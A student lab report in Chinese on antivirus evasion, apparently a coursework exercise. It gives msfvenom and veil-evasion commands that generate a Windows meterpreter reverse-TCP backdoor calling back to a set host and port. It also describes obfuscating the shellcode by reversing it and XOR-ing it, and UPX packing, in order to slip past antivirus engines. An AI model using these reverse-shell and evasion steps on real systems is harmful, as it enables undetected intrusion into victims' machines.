Exp3 免殺原理與實踐20154302薛師凡
Exp3 免殺原理與實踐20154302薛師凡
一、實踐目標與內容
利用多種工具實現實現惡意代碼免殺
在另一臺電腦上,殺軟開啟的情況下,實現運行後門程序並回連成功。
在保證後門程序功能的情況下實現殺軟共存。
二、實踐過程與步驟
1.使用msf編碼器生成的後門程序
上次實踐生成的後門程序,直接被360發現了,在virscan網站掃描,也有17個殺毒引擎識別了出來,很容易被辨識出來的。
2.使用veil-evasion生成的後門程序
2.1安裝veil平臺
apt-get install veil-evasion
2.2根據菜單選擇一個模板生成,在這裏我選擇的是evasion裏的c語言中的(第7行)
2.3設置相關參數即
set LHOST 192.168.199.239
set LPORT 4302
generate
2.4找到生成的程序拷貝到主機後,沒有被360查出來,virscan掃描有8個殺毒引擎識別了出來,還可以。
開始找不到生成的程序,可以在本地電腦搜索veil,找到var/lib下的veil,打開output->compiled,就可以找,後拖至主機。或者用指令復制cp -r 要復制的文件夾絕對地址 /root
然後回連試一試
3.shellcode編程
3.1在Kali下生成一個C語言格式的shellcode數組,回連的IP為Kali的IP,端口自定。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=4302 -f c
得到數組後開始編程。
3.3拷貝至win10,能直接被360識別出來,virscan掃描有6個引擎可以識別出來且能回連成功
3.4我對shellcode進行倒序,換位,異或,在win10環境下,在codeblock進行編譯,不會被360識別出來,virscan也只有3個引擎能識別出來
4.對程序進行加殼
upx 4302.exe -o 4302upx.exe
實際並沒有什麽用,加殼後能識別出來的引擎數基本沒變甚至還會變多
加殼後居然有12個引擎識別出來了:
三、基礎問題回答
殺軟是如何檢測出惡意代碼的?
我認為現在的殺軟主要是基於特征碼進行檢測的,特征碼就是一段或多段數據,如果一個可執行文件包含這樣的數據或者文字名稱則被認為是惡意代碼。還有就是基於行為的惡意軟件檢測,就是通用的、多特征的、非精確的掃描。
免殺是做什麽?
免殺即使殺毒軟件檢測不出惡意軟件的手段。
免殺的基本方法有哪些?
通過多種方式改變特征碼,例如加殼,生成shellcod,用其他語言進行重寫再編譯等等。
改變行為,例如改變通訊方式(使用反彈式連接)和操作模式(加入混淆作用的正常功能代碼)。
四、離實戰還缺些什麽技術或步驟?
想辦法讓目標主機在不知不覺中運行惡意軟件。畢竟沒人會主動打開一個惡意軟件。
五、實踐總結與體會
通過這次實踐,我們實現了部分惡意軟件的免殺,雖然有時候回連會出現問題,但是這個過程其實不是很復雜,這簡單的過程就讓諸多殺毒軟件束手就擒,這不禁讓人為我們個人的信息安全感到恐慌。
Exp3 免殺原理與實踐20154302薛師凡